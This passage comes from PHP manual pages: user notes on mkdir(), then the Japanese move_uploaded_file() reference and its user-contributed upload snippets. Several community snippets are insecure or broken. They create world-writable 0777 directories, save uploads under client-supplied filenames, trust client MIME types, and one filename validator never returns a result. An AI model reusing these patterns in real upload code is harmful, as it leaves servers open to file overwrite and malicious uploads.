        return (!mkdir($path, 0755) && !is_dir($path));
    }
 ?>
etter dot ayoub at gmail dot com 02-Feb-2018 01:30
Function to create recursive and writable folder, if we have permission, without generate a warnings :
/**
 * Create correctly writable folder.
 * Check if folder exist and writable.
 * If not exist try to create it one writable.
 *
 * @return bool
 *     true folder has been created or exist and writable.
 *     False folder not exist and cannot be created.
 */
function createWritableFolder($folder)
{
    if($folder != '.' && $folder != '/' ) {
        createWritableFolder(dirname($folder));
    }
    if (file_exists($folder)) {
        return is_writable($folder);
    }

    return is_writable($folder) && mkdir($folder, 0777, true);
}
till at etill dot net 28-Aug-2015 09:38
Note that mkdir() also will return false if the directory exists. So, always use file_exists() to catch an existing-directory error.
bloggernitscomp54engg[at]gmail[dot]com 07-Nov-2014 07:28
[Editor's note: that behavior is related to the current umask, which is documented above.]

mkdir("video/".$userId,0777);

Every time I run this code but permission wont change. It always show 755.I have spent lot of time in why my folder is not getting permission 777 (I think, mkdir has some problem in setting permission ).

then I used this code.

mkdir("video/".$userId,0777);
chmod("video/".$userId,0777);

my folder permission get changed 777.
haclong 04-Jun-2014 01:18
If you are using the SPL FileInfo object and then try to create the path with mkdir, don't forget that mkdir expects a string as the first argument and NOT an object...

I have forgotten that very important rules and get only a permission deny to mkdir to create new directories but in fact, the issue was the fact that i wasn't passing a string to mkdir

$my_file = new SplFileInfo('path/to/file.txt') ;

// get path from file
$parent = $my_file->getPathInfo() ;

// check if path is directory or not
if($parent->isDir())
{
// create / open file.txt file
} else {
// if path/to does not exists, create the directory recursively
mkdir($parent, 0755, true) ; // THIS WON'T WORK because $parent is a SplFileInfo object.

// instead, get the path as a string
$path = $parent->getPathname() ;
mkdir($path, 0755, true) ; // THIS WILL WORK
}
Anonymous 06-May-2014 12:36
Don't forget to use the recursive option on Windows if creating a folder below a folder that already exists. Otherwise you may get a very confusing error message, "Warning: mkdir(): No such file or directory in d:\path\to\file" where you think the folder should exist but you forgot to create the parent(s).

For example, if d:\path exists but there is nothing in it:

<?php
$path = 'd:\path\to\my\file';
mkdir($path, null, true);
?>
matt at imaketheweb dot com 03-Aug-2011 06:26
If you're getting a Permission Denied error, but are certain the permissions and ownership where you are trying to create the directory are correct, check again:

The location where you are trying to create the directory in must have the Execute permission for the owner trying to create it, regardless of if the folder is Readable, or Writable.

This may be obvious to some, but was not to me at first. Hopefully this will save you the trouble I went through.
pz 05-Jul-2011 09:41
mkdir works with stream wrappers, so it's ok to write mkdir('ftp://user:pass@server/mydir');

which really made my day
toppi at kacke dot de 07-Jun-2011 08:36
If you have problems with the SAFE MODE Restriction in effect i.e. if you try to create and access to subdirectorys recursive you can use ftp-lib like this.

<?php

DEFINE ('FTP_USER','yourUser');
DEFINE ('FTP_PASS','yourPassword');

/**
 * Returns the created directory or false.
 *
 * @param Directory to create (String)
 * @return Created directory or false;
 */

function mkDirFix ($path) {

        $path = explode("/",$path);
        $conn_id = @ftp_connect("localhost");
        if(!$conn_id) {
            return false;
        }
        if (@ftp_login($conn_id, FTP_USER, FTP_PASS)) {

            foreach ($path as $dir) {
                if(!$dir) {
                    continue;
                }
                $currPath.="/".trim($dir);
                if(!@ftp_chdir($conn_id,$currPath)) {
                    if(!@ftp_mkdir($conn_id,$currPath)) {
                        @ftp_close($conn_id);
                        return false;
                    }
                    @ftp_chmod($conn_id,0777,$currPath);
                }
            }
        }
        @ftp_close($conn_id);
        return $currPath;

}
?>

Maybe it helps.
Toppi
nickcarenza at gmail dot com 26-May-2011 01:41
If you are having trouble with the pathname, use:

echo dirname( __FILE__ );

That will show you the pathname of the current script and you will be able to use that to see where you have to start your pathname.

I tried forever to do mkdir('dirname') and was getting permission denied. I can see now its because it was trying to create that folder up at home when i wanted it down in public_html.

I hope this saves someone some time.
[Rakesh Verma] rakeshnsony at gmail dot com 02-May-2011 11:02
if you are unable to create recursive folder(s) using 0755 mode in your php script.

Then try it by changing your current user to apache and test it again.

Hopefully you will get positive results
julius - grantzau - c-o-m 08-Mar-2011 08:10
Remember to use clearstatcache()

... when working with filesystem functions.

Otherwise, as an example, you can get an error creating a folder (using mkdir) just after deleting it (using rmdir).
Benjamin Rack 02-Dec-2010 04:18
It should be mentioned that - at least on Windows - when using UNC paths with mkdir the 2nd parameter $mode should not be specified. Otherwise mkdir fails to create the directory on the given UNC path.
satis at clankiller dot com 08-Sep-2010 06:05
Please note that in a shared environment I failed to take into account an existing umask when I did a mkdir(dirname, 0755).  This ended up creating the directory (function returned true), but I didn't have rights to do anything inside the folder, nor could I even view that it existed via ftp.

However, file_exists(dirname) returned true.  Eventually I figured out what happened and was able to rmdir(dirname), then created the directory correctly.

So, when writing scripts you expect to be portable, either use umask to set your umask accordingly, or do a straight mkdir(dirname) followed by chmod(dirname, 0755) (or whatever it is you're looking for).  If you make the same mistake I did, you should be able to rmdir() or chmod() the folder so it's accessible.
jack dot sleight at gmail dot com 26-Mar-2010 03:26
When using the recursive parameter bear in mind that if you're using chmod() after mkdir() to set the mode without it being modified by the value of uchar() you need to call chmod() on all created directories. ie:

<?php
mkdir('/test1/test2', 0777, true);
chmod('/test1/test2', 0777);
?>

May result in "/test1/test2" having a mode of 0777 but "/test1" still having a mode of 0755 from the mkdir() call. You'd need to do:

<?php
mkdir('/test1/test2', 0777, true);
chmod('/test1', 0777);
chmod('/test1/test2', 0777);
?>
michael at neo dot co dot il 27-Jan-2010 07:39
sometimes the directory created with another mode than specified ( 0755 instead 0777  etc).
to solve that use :

<?php
$old = umask(0);
mkdir($dir,0777);
umask($old);
?>
ethaizone at hotmail dot com 03-Aug-2009 01:10
When I created folder on windows with mkdir, I found some problem from folder nam so I write this function.

<?php
function filename_safe($name) {
    $except = array('\\', '/', ':', '*', '?', '"', '<', '>', '|');
    return str_replace($except, '', $name);
}
?>

It can use with another functions about file system as file_put_contents to clean up file name.
vlad at todosv dot com 05-Mar-2009 08:59
Note that you should NOT enter the $mode value with "" or '' sorrounding it.

So, this should be valid:
<?php mkdir("dir1/dir2",0777,true); ?>

But this is not:
<?php mkdir("dir1/dir2","0777",true); ?>

Nor this:
<?php mkdir("dir1/dir2",'0777',true); ?>
d dot kok at kadova dot nl 20-Feb-2009 12:02
Please note that when specifying the recursive option the function returns false anyway if the directory already exists.

For some reason however I expected it to behave like `mkdir -p` on the command line which succeeds if the directory already exists.
t-k-r at o2 dot pl 17-Dec-2008 01:42
Very simple script, may be useful to someone.
Creating a directory structure liki this:

0 ------ 0
1          1
2          2 -------- 0
3          3             1
4          ...           2
5                        3
6                        ...
7
[....]
e
f

Used by my as structure to store uploaded files:
someone upload file -> its name + microtime is md5 -> first 3 letters of md5 string are first 3 subfolders in this folder structure, and at least file is stroed with md5 name.
Naturally SQL- or other type - Database is needed to store infos about files position in this structure.

<?php

for ($a=0;$a<=15;$a++) {

    mkdir(dechex($a),0755);

    for ($b=0;$b<=15;$b++) {

        mkdir(dechex($a).'/'.dechex($b),0755);

        for ($c=0;$c<=15;$c++) {

            mkdir(dechex($a).'/'.dechex($b).'/'.dechex($c),0755);

        }

    }

}

?>
hinom - iMasters 18-Sep-2008 10:56
mkdir simple test with "exception handler"

<?php

function handleError() {
    trigger_error('MY ERROR');

    /** usage sample
        @handleError();
        echo $php_errormsg;
    */
}

// detect slash/backslash nomenclature dirname
$path = dirname( __FILE__ );
$slash = '/'; strpos( $path, $slash ) ? '' : $slash = '\\';
define( 'BASE_DIR', $path . $slash );

$folder  = time();               // folder name
$dirPath = BASE_DIR . $folder;   // folder path

// print results
echo $slash;
echo '<hr>';

$rs = @mkdir( $dirPath, '0777' );
@handleError();
if( $rs )
{

    // print success information
    echo 'was done!';
    echo '<br>folder: <a href="' . $folder . '">' . $folder . '</a>';
    echo '<br>dirPath: ' . $dirPath;

}else{

    // print error information
    echo 'an error was occurred. Attempting create folder';
    echo '<br>dirPath: ' . $dirPath;
    echo '<br>php_errormsg: ' . $php_errormsg;

}

?>
php at mike2k dot com 15-Jul-2008 01:32
It should be noted that all of the recursive mkdir functions coded below are no longer required - as of 5.0.0 it says the "recursive" flag is available. I just tested it, it properly works (and I would assume it works for streams and Windows as well, if not, then it would be a bug)
GelaMu at GMail dot com 17-May-2008 05:19
<?php

/**
 * Makes directory and returns BOOL(TRUE) if exists OR made.
 *
 * @param  $path Path name
 * @return bool
 */
function rmkdir($path, $mode = 0755) {
    $path = rtrim(preg_replace(array("/\\\\/", "/\/{2,}/"), "/", $path), "/");
    $e = explode("/", ltrim($path, "/"));
    if(substr($path, 0, 1) == "/") {
        $e[0] = "/".$e[0];
    }
    $c = count($e);
    $cp = $e[0];
    for($i = 1; $i < $c; $i++) {
        if(!is_dir($cp) && !@mkdir($cp, $mode)) {
            return false;
        }
        $cp .= "/".$e[$i];
    }
    return @mkdir($path, $mode);
}

?>
code at ashleyhunt dot co dot uk 14-Feb-2008 11:15
Here's a script to create a recursive directory path on NAS or another server using Common Internet File System (CIFS)

e.g. you already have a directory on a server
\\server/share/dir1/dir2

you want to create some more directories
\\server/share/dir1/dir2/dir3/dir4

<?php
function remote_mkpath($server, $path)  {
        $dirs = array();
        $path = preg_replace('/(\/){2,}|(\\\){1,}/','/',$path); //only forward-slash
        $dirs = explode("/", $path);
        $path = "\\\\" . $server . "/";
        $i = 0;
        foreach ($dirs AS $element) {
            $path .= $element . "/";
            if(!is_dir($path) && $i != 0) {
                if(!mkdir($path)){
                    echo "something was wrong at : " . $path;
                    return 0;
                }
            }
            $i++;
        }
        return true;
        echo $path;
}

// example usage
remote_mkpath("SERVER", "share/dir1/dir2/dir3/dir4");
?>

Good luck!

Ashley
david dot NOSPAM at ajnewmedia dot NOSPAM dot co dot uk 21-Jan-2008 09:04
p-garcia : since PHP 5, setting the recursive flag (which currently has no notes in the manual entry) will allow you to create nested directories in the same way as Windows / Linux mkdir -p, so long as the webserver has permissions to write in the root directory of the path specified
eg:

<?php
  mkdir ("./newdir1/newdir2/newdir3/", 0755, true);

  // Returns TRUE if you have permission to write to the current directory
  //   and creates nested directories with permissionsrwxr-xr-x
?>
Michal Nazarewicz, mina86 at mina86 dot com 27-Aug-2007 07:34
On the other hand, splitting path on something else then a DIRECTORY_SEPARATOR may give unexpected results when someone accualy wants a file name with backslash in it! Moreover, neither Alan's nor pluto's code check for errors or return any value. Also, I don't like the isset($folder[$i]) technique -- there is a count() function you know.

<?php
function recursive_mkdir($path, $mode = 0777) {
    $dirs = explode(DIRECTORY_SEPARATOR , $path);
    $count = count($dirs);
    $path = '.';
    for ($i = 0; $i < $count; ++$i) {
        $path .= DIRECTORY_SEPARATOR . $dirs[$i];
        if (!is_dir($path) && !mkdir($path, $mode)) {
            return false;
        }
    }
    return true;
}
?>

It will only fail if someone specifies a mode which does not allow owner to create new entries in directory.
sean at pedlr dot com 08-Mar-2007 08:58
It should be noted that although the documentation says that  the default permissions for mkdir are 0777, this is not always the case.

I'm running LAMP and without explicitly setting the permissions, the directories created had permissions of 0755.
fantasysportswire at yahoo dot com 20-Dec-2006 06:07
One small correction on a note from Frank in June 2006 on recursive directories under Windows.

First - this should be in the documentation as its the only function that I know of that php does not fix the slashes automatically.

Franks note stated:

<?php
   $mypath="testdir\subdir\test";
   mkdir($mypath,0777,TRUE);
?>

This doesn't work in windows:

<?php
   $mypath="testdir/subdir/test";
   mkdir($mypath,0777,TRUE);
?>

----

This will work a bit better :)

<?php
   $mypath="testdir\\subdir\\test";
   mkdir($mypath,0777,TRUE);
?>
kungla at gmail dot com 18-Jul-2006 05:41
Somehow the recursive version of mkdir didn't work for me on Mac and the workaraounds listed below alsow didn't work for me, so heres my solution:

<?php
function mkdir_r($dirName, $rights=0777){
    $dirs = explode('/', $dirName);
    $dir='';
    foreach ($dirs as $part) {
        $dir.=$part.'/';
        if (!is_dir($dir) && strlen($dir)>0)
            mkdir($dir, $rights);
    }
}
?>

Tested and works ;)
jamespilcher1hotmail 08-Apr-2006 05:53
one small gotcha:

mkdir(""), mkdir(false), and mkdir(null) give a "file exists" error. this is also true of a directory name consisting of any string that only contains space characters.

(this was on php 5.1.2 on Windows 2000)
Ali Baba 10-Mar-2006 01:26
Greg, your code does not work for me; maybe it has a bug or we have configuration changes. Anyway, this one works to create recursively the directory DIRECTORY.

<?
define ("DIRECTORY", "/tmp/mydir/mysubdir");

do {
    $dir = DIRECTORY;
    while (!is_dir($dir)) {
        $basedir = dirname($dir);
        if ($basedir == '/' || is_dir($basedir))
            mkdir($dir,0777);
        else
            $dir=$basedir;
   }
} while ($dir != DIRECTORY);

?>
18-Jan-2006 09:48
function mkdirs($dir, $mode = 0777, $recursive = true) {
  if( is_null($dir) || $dir === "" ){
    return FALSE;
  }
  if( is_dir($dir) || $dir === "/" ){
    return TRUE;
  }
  if( mkdirs(dirname($dir), $mode, $recursive) ){
    return mkdir($dir, $mode);
  }
  return FALSE;
}
Kevin Cook 02-Nov-2005 09:14
I could not get the sticky bit set properly using the octal mode: 2775 (rwxrwsr-x)

$foo='my_directory';

$old_umask = umask(0);
mkdir($foo,2775);
umask($old_umask);

using the above lines renders a directory with permissions:

d-wx-wSrwt  2 www www 4096 Nov  2 11:43 my_directory

Not exactly what I was looking for.

This gets closer to the mark:

$foo='my_directory';

$old_umask = umask(0);
mkdir($foo,0777); // the default chmod
umask($old_umask);

drwxrwsrwx  2 www www 4096 Nov  2 11:46 my_directory
roth at egotec dot com 22-May-2005 11:43
The 'mkdir' function doesn't function correctly on Windows when the path
contains forward slashes. The part of the path with the forward slashes
doesn't get created.

mkdir('c:/a/b/c/d', 0775, true);

You get the error message:
Warning: mkdir() [function.mkdir]: No such file or directory

Please use backslashes under Windows or use the constant DIRECTORY_SEPARATOR.

mkdir('c:\a\b\c\d', 0775, true);
mkdir('c:'.DIRECTORY_SEPARATOR.'a'.
DIRECTORY_SEPARATOR.'b'.
DIRECTORY_SEPARATOR.'c'.
DIRECTORY_SEPARATOR.'d', 0775, true);
webmaster2007 at home dot nl 28-Apr-2005 08:27
Maybe you can use this:

<?php
    function open_dir($dir, $newdir){    //The function that will copy the files
        if(file_exists($dir) && file_exists($newdir)){
            $open_dir=opendir($dir);
            while (false !== ($file = readdir($open_dir))) {
                if($file != "." && $file != ".."){
                    if(file_exists($newdir."/".$file) && filetype($newdir."/".$file."/") != "dir"){
                        unlink($newdir."/".$file);
                    }
                    if(filetype($dir."/".$file."/") == "dir"){
                        if(!file_exists($newdir."/".$file."/")){
                            mkdir($newdir."/".$file."/");
                            open_dir($dir."/".$file."/", $newdir."/".$file."/");
                        }
                    }
                    else {
                        copy($dir."/".$file."/", $newdir."/".$file);
                    }
                }
            }
        }
    }

    open_dir("Your source map", "Your destination map"); //Here you can fill in your source en destination map
?>
Protik Mukherjee 03-Mar-2005 09:29
mkdir, file rw, permission related notes for Fedora 3////
If you are using Fedora 3 and are facing permission problems, better check if SElinux is enabled on ur system. It add an additional layer of security and as a result PHP cant write to the folder eventhough it has 777 permissions. It took me almost a week to deal with this!

If you are not sure google for SElinux or 'disabling SELinux' and it may be the cure! Best of luck!
aulbach at unter dot franken dot de 22-Jul-1999 02:37
This is an annotation from Stig Bakken:

The mode on your directory is affected by your current umask.  It will end
up having (<mkdir-mode> and (not <umask>)).  If you want to create one
that is publicly readable, do something like this:

<?php
$oldumask = umask(0);
mkdir('mydir', 0777); // or even 01777 so you get the sticky bit set
umask($oldumask);
?>


アップロードされたファイルを新しい位置に移動する

  • ≪ mkdir
  • parse_ini_file ≫
  • PHP Manual
  • ファイルシステム 関数
  • アップロードされたファイルを新しい位置に移動する

move_uploaded_file

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

move_uploaded_file — アップロードされたファイルを新しい位置に移動する

説明

move_uploaded_file ( string $from , string $to ) : bool

この関数は、from で指定されたファイルが (PHP の HTTP POST アップロード機構によりアップロードされたという意味で) 有効なアップロードファイルであるかどうかを確認します。 そのファイルが有効な場合、to で指定したファイル名に移動されます。

この種の確認は、アップロードされたファイルに関して何でもできる場 合には、その内容をユーザー、または同じシステム上の他のユーザーにさえ 暴かれる可能性があるため、特に重要です。

パラメータ

from

アップロードしたファイルのファイル名。

to

ファイルの移動先。

返り値

成功した場合に true を返します。

from が有効なアップロードファイルでない場合、 処理は行われず、move_uploaded_file() は false を返します。

from が有効なアップロードファイルであるが、 何らかの理由により、移動できない場合、処理は行われず、 move_uploaded_file() は false を返します。加えて、警告が出力されます。

例

例1 複数のファイルのアップロード

<?php
$uploads_dir = '/uploads';
foreach ($_FILES["pictures"]["error"] as $key => $error) {
    if ($error == UPLOAD_ERR_OK) {
        $tmp_name = $_FILES["pictures"]["tmp_name"][$key];
        // basename() で、ひとまずファイルシステムトラバーサル攻撃は防げるでしょう。
        // ファイル名についてのその他のバリデーションも、適切に行いましょう。
        $name = basename($_FILES["pictures"]["name"][$key]);
        move_uploaded_file($tmp_name, "$uploads_dir/$name");
    }
}
?>

注意

注意:

move_uploaded_file() は open_basedir を考慮しています。 しかしながら、アップロードされたファイルを移動する to パスのみ制限が設けられます。 そこでは from がそれらの制限に抵触する可能性があるためです。 move_uploaded_file() は PHP を通じてアップロードされたファイルのみを移動できるようにすることで この操作の安全性を保証しています。

警告

コピー先のファイルが既に存在する場合、上書きされます。

参考

  • is_uploaded_file() - HTTP POST でアップロードされたファイルかどうかを調べる
  • rename() - ファイルをリネームする
  • 簡単な使用例については ファイルアップロードの処理

User Contributed Notes

Juliano P. Santos 19-Mar-2019 10:25
For those which will use inotify-tools to start an event when move_uploaded_file put the file in a specific directory, be aware that move_uploaded_file will trigger the create event, and not the move event of inotify-tools.
ccbsschucko at gmail dot com 15-Jun-2018 12:44
<?php
    class UploadTool {
        /**
        * @var arr => $upload_info = infos sobre os arquivos enviados
        */
        private $upload_info = array();
        /**
        * @param str => $input_name = nome do input
        * @param str => $folder_to_move = nome da pasta em que o arquivo sera salvo
        * @param arr => $mime_allowed = mime types permitidos no processo de upload
        * @param bol => $return_json = se true retorna um objeto json
        */
        public function manage_single_file(string $input_name, string $folder_to_move, array $mime_allowed = [], bool $return_json = true){
            $resultado = array();
            $count_mime_allowed = count($mime_allowed);
            if(is_uploaded_file($_FILES[$input_name]['tmp_name'])){
                $new_name_file = bin2hex(random_bytes(64)).'.'.pathinfo($_FILES[$input_name]['name'], PATHINFO_EXTENSION);
                $this->upload_info = array(
                    'name' => $new_name_file,
                    'size' => $_FILES[$input_name]['size'],
                    'mime' => finfo_file(finfo_open(FILEINFO_MIME_TYPE), $_FILES[$input_name]['tmp_name']),
                    'extension' => pathinfo($_FILES[$input_name]['name'], PATHINFO_EXTENSION),
                    'check_mime' => true,
                    'folder_to_move' => $folder_to_move,
                    'error_code' => $_FILES[$input_name]['error'],
                );
                if($count_mime_allowed > 0 && !in_array($this->upload_info['mime'], $mime_allowed, true)){$this->upload_info['check_mime'] = false;}
                if($this->upload_info['error_code'] === 0 && $this->upload_info['check_mime'] === true){move_uploaded_file($_FILES[$input_name]['tmp_name'], $folder_to_move.$this->upload_info['name']);}
            }
            $resultado['upload_info'] = $this->upload_info;
            if($return_json){echo json_encode($resultado);}
            if(!$return_json){return $resultado;}
        }
        /**
        * @param str => $input_name = nome do input
        * @param str => $folder_to_move = nome da pasta em que o arquivo sera salvo
        * @param arr => $mime_allowed = mime types permitidos no processo de upload
        * @param bol => $return_json = se true retorna um objeto json
        */
        public function manage_multiple_file(string $input_name, string $folder_to_move, array $mime_allowed = [], bool $return_json = true){
            $resultado = array();
            $count_mime_allowed = count($mime_allowed);
            $qtd_arquivos_enviados = count($_FILES[$input_name]['tmp_name']);
            for($i = 0; $i < $qtd_arquivos_enviados; $i++){
                if(is_uploaded_file($_FILES[$input_name]['tmp_name'][$i])){
                    $new_name_file = bin2hex(random_bytes(64)).'.'.pathinfo($_FILES[$input_name]['name'][$i], PATHINFO_EXTENSION);
                    $this->upload_info[] = array(
                        'name' => $new_name_file,
                        'size' => $_FILES[$input_name]['size'][$i],
                        'mime' => finfo_file(finfo_open(FILEINFO_MIME_TYPE), $_FILES[$input_name]['tmp_name'][$i]),
                        'extension' => pathinfo($_FILES[$input_name]['name'][$i], PATHINFO_EXTENSION),
                        'check_mime' => true,
                        'folder_to_move' => $folder_to_move,
                        'error_code' => $_FILES[$input_name]['error'][$i],
                    );
                    if($count_mime_allowed > 0 && !in_array($this->upload_info[$i]['mime'], $mime_allowed, true)){$this->upload_info[$i]['check_mime'] = false;}
                    if($this->upload_info[$i]['error_code'] === 0 && $this->upload_info[$i]['check_mime'] === true){move_uploaded_file($_FILES[$input_name]['tmp_name'][$i], $folder_to_move.$this->upload_info[$i]['name']);}
                }
            }
            $resultado['upload_info'] = $this->upload_info;
            if($return_json){echo json_encode($resultado);}
            if(!$return_json){return $resultado;}
        }
    }
    if($_FILES){(new UploadTool)->manage_multiple_file('input_arquivos', __DIR__.'/pasta/');}
?>
<form method="POST" action="<?php echo $_SERVER['PHP_SELF'] ?>" enctype="multipart/form-data">
    <input type="file" name="input_arquivos[]" multiple="true">
    <button type="submit">enviar</button>
</form>
Tom 05-Jan-2015 03:33
Nowhere does it say how to get the error/warning message when this fails.

The only way I know of doing it is something like this:

   if (move_uploaded_file($_FILES["file1"]["tmp_name"], $target_file)) {
      echo "<P>FILE UPLOADED TO: $target_file</P>";
   } else {
      echo "<P>MOVE UPLOADED FILE FAILED!</P>";
      print_r(error_get_last());
   }
Chris Hecker 09-May-2014 06:26
Re: Florian S. in H. an der E. [.de]'s point about directory stick bits, I got hit by this a bunch since I use groups and dir sticky bits to secure my site, so I wrote this replacement, which others might find useful:

/**
 * obey sticky bit with move_uploaded_file
 *
 */
function wp_move_uploaded_file( $filename, $destination ) {
  define("STICKYGRPDIR",042010);
  $stat = stat(dirname($destination));
  if(move_uploaded_file($filename,$destination)) {
    if($stat['mode'] & STICKYGRPDIR) {
      return chgrp($destination,$stat['gid']);
    }
  } else {
    return false;
  }
}
Yousef Ismaeil Cliprz 17-Feb-2013 10:59
Security tips you must know before use this function :

First : make sure that the file is not empty.

Second : make sure the file name in English characters, numbers and (_-.) symbols, For more protection.

You can use below function as in example

<?php

/**
 * Check $_FILES[][name]
 *
 * @param (string) $filename - Uploaded file name.
 * @author Yousef Ismaeil Cliprz
 */
function check_file_uploaded_name ($filename)
{
    (bool) ((preg_match("`^[-0-9A-Z_\.]+$`i",$filename)) ? true : false);
}

?>

Third : make sure that the file name not bigger than 250 characters.

as in example :

<?php

/**
 * Check $_FILES[][name] length.
 *
 * @param (string) $filename - Uploaded file name.
 * @author Yousef Ismaeil Cliprz.
 */
function check_file_uploaded_length ($filename)
{
    return (bool) ((mb_strlen($filename,"UTF-8") > 225) ? true : false);
}

?>

Fourth: Check File extensions and Mime Types that you want to allow in your project. You can use : pathinfo() http://php.net/pathinfo

or you can use regular expression for check File extensions as in example

#^(gif|jpg|jpeg|jpe|png)$#i

or use in_array checking as

<?php

$ext_type = array('gif','jpg','jpe','jpeg','png');

?>

You have multi choices to checking extensions and Mime types.

Fifth: Check file size and make sure the limit of php.ini to upload files is what you want, You can start from http://www.php.net/manual/en/ini.core.php#ini.file-uploads

And last but not least : Check the file content if have a bad codes or something like this function http://php.net/manual/en/function.file-get-contents.php.

You can use .htaccess to stop working some scripts as in example php file in your upload path.

use :

AddHandler cgi-script .php .pl .jsp .asp .sh .cgi
Options -ExecCGI

Do not forget this steps for your project protection.
marcelwoo 31-Mar-2012 04:41
One more thing I want to mention about the post_max_size setting in php.ini that nobody else has mentioned.
If you try to upload a file larger than the post_max_size value (or multi files), the page will only refresh itself and no errors are thrown. It took me a while to figure the reason out.
matthias dot dailey at gmail dot com 22-Jul-2011 01:26
The destination directory must exist; move_uploaded_file() will not automatically create it for you.
labsy at seznam dot org 03-May-2011 04:07
A note for PHP on Windows IIS platform:
PHP does obviously not like directory traversing among partitions, so if you set upload_tmp_dir to be on different partition as php-cgi.exe or php.exe is, upload_tmp_dir will NOT be accessible for file uploads! You will get ERROR 6 on any attempt to upload file, and file size will be 0.
Resolution is to have upload_tmp_dir set to a path under PHP install folder.
...and make sure this folder (and also session_save_path folder) has at least read/write permissions granted to AppPool owner (usually NETWORK SERVICE) and IIS web user (by default IUSR_).
wilcobeekhuizen at gmail dot com 30-Mar-2011 12:55
When uploading a file with a very long filename, for example 255 characters, move_uploaded_file fails. The longest file I've succesfully uploaded has a 247 character filename. So, although you can create a 250 character filename locally the server may not be able to move it.
Ray.Paseur sometimes uses Gmail 18-Aug-2010 08:42
You can only move the uploaded file once.  You can use copy() if you need the file in more than one place.
<?php // RAY_temp_upload_example.php
error_reporting(E_ALL);
echo "<pre>" . PHP_EOL;

// IF A FILE HAS BEEN UPLOADED
if (!empty($_FILES))
{
    // SHOW THE UPLOADED FILES
    print_r($_FILES);

    // TRY TO MOVE THE FILE TWICE - SECOND MOVE RETURNS FALSE
    if (!move_uploaded_file($_FILES["userfile"]["tmp_name"], $_FILES["userfile"]["name"])) echo "CANNOT MOVE {$_FILES["userfile"]["name"]}" . PHP_EOL;
    if (!move_uploaded_file($_FILES["userfile"]["tmp_name"], $_FILES["userfile"]["name"])) echo "CANNOT MOVE {$_FILES["userfile"]["name"]}" . PHP_EOL;

    // SHOW THE UPLOADED FILES AFTER THE MOVE - NO VISIBLE CHANGE
    print_r($_FILES);
}

// END OF PHP, PUT UP THE HTML FORM TO GET THE FILE
?>
<!-- The data encoding type, enctype, MUST be specified as below -->
<form enctype="multipart/form-data" method="POST">
    <!-- MAX_FILE_SIZE must precede the file input field -->
    <input type="hidden" name="MAX_FILE_SIZE" value="300000" />
    <!-- Name of input element determines name in $_FILES array -->
    Send this file: <input name="userfile" type="file" />
    <input type="submit" value="Send File" />
</form>
brentwientjes at NOSPAM dot comcast dot net 15-Feb-2010 11:34
I have for a couple of years been stymed to understand how to effectively load images (of more than 2MB) and then create thumbnails.  My note below on general file uploading was an early hint of some of the system default limitations and I have recently discovered the final limit  I offer this as an example of the various missing pieces of information to successfully load images of more than 2MB and then create thumbnails.  This particular example assumes a picture of a user is being uploaded and because of browser caching needs a unique number at the end to make the browser load a new picture for review at the time of upload.  The overall calling program I am using is a Flex based application which calls this php file to upload user thumbnails.

The secret sauce is:

1.  adjust server memory size, file upload size, and post size
2.  convert image to standard formate (in this case jpg) and scale

The server may be adjusted with the .htaccess file or inline code.  This example has an .htaccess file with file upload size and post size and then inline code for dynamic system memory.

htaccess file:
php_value post_max_size 16M
php_value upload_max_filesize 6M

<?php
//  $img_base = base directory structure for thumbnail images
//  $w_dst = maximum width of thumbnail
//  $h_dst = maximum height of thumbnail
//  $n_img = new thumbnail name
//  $o_img = old thumbnail name
function convertPic($img_base, $w_dst, $h_dst, $n_img, $o_img)
  {ini_set('memory_limit', '100M');   //  handle large images
   unlink($img_base.$n_img);         //  remove old images if present
   unlink($img_base.$o_img);
   $new_img = $img_base.$n_img;

   $file_src = $img_base."img.jpg";  //  temporary safe image storage
   unlink($file_src);
   move_uploaded_file($_FILES['Filedata']['tmp_name'], $file_src);

   list($w_src, $h_src, $type) = getimagesize($file_src);     // create new dimensions, keeping aspect ratio
   $ratio = $w_src/$h_src;
   if ($w_dst/$h_dst > $ratio) {$w_dst = floor($h_dst*$ratio);} else {$h_dst = floor($w_dst/$ratio);}

   switch ($type)
     {case 1:   //   gif -> jpg
        $img_src = imagecreatefromgif($file_src);
        break;
      case 2:   //   jpeg -> jpg
        $img_src = imagecreatefromjpeg($file_src);
        break;
      case 3:  //   png -> jpg
        $img_src = imagecreatefrompng($file_src);
        break;
     }
   $img_dst = imagecreatetruecolor($w_dst, $h_dst);  //  resample

   imagecopyresampled($img_dst, $img_src, 0, 0, 0, 0, $w_dst, $h_dst, $w_src, $h_src);
   imagejpeg($img_dst, $new_img);    //  save new image

   unlink($file_src);  //  clean up image storage
   imagedestroy($img_src);
   imagedestroy($img_dst);
  }

$p_id = (Integer) $_POST[uid];
$ver = (Integer) $_POST[ver];
$delver = (Integer) $_POST[delver];
convertPic("your/file/structure/", 150, 150, "u".$p_id."v".$ver.".jpg", "u".$p_id."v".$delver.".jpg");

?>
gotrunko at hotmail dot com 13-Nov-2009 04:50
This function can upload many files whitout parameters in the declaration.
If one of them can not be uploaded, the function returns false and deletes all files that have been sent

<?php
function uploadFiles() {
    $num_args = func_num_args();
    $arg_list = func_get_args();

    $valReturn = false;
    $i = 0;
    $unlinkElement = array();
    foreach($arg_list as $key=>$value) {
        if(is_array($value) AND is_array($value[0])) {
            if($value[0]['error'] == 0 AND isset($value[1])) {
                if($value[0]['size'] > 0 AND $value[0]['size'] < 500000) {
                    $typeAccepted = array("image/jpeg", "image/gif", "image/png");
                    if(in_array($value[0]['type'],$typeAccepted)) {
                        $destination = $value[1];
                        if(isset($value[2])) {
                            $extension = substr($value[0]['name'] , strrpos($value[0]['name'] , '.') +1);
                            $destination .= (str_replace(" ","-",$value[2])).".".$extension;
                        } else {
                            $destination .= $value[0]['name'];
                        }

                        if(move_uploaded_file($value[0]['tmp_name'],$destination)) {
                            $i++;
                            $unlinkElement[] = $destination;
                        }
                    }
                }
            }
        }
    }
    if($i == $num_args) {
        $valReturn = true;
    } else {
        foreach($unlinkElement as $value) {
            unlink($value);
        }
    }
    return $valReturn;
}
?>

To use this function you must specify an array with min two parameters like that.
NAME is an optional parameter !
uploadFiles(array("FILES","DESTINATION","NAME"));

<?php

$file_one = array($_FILES['file_one'],$destination,$name_one);
$file_two = array($_FILES['file_two'],$destination); //The name will be the same that $_FILES[]['name']

if(uploadFiles($file_one,$file_two)) {
    echo "true";
} else {
    echo "false";
}
?>
chatchaw at tot dot co dot th 19-Oct-2009 12:03
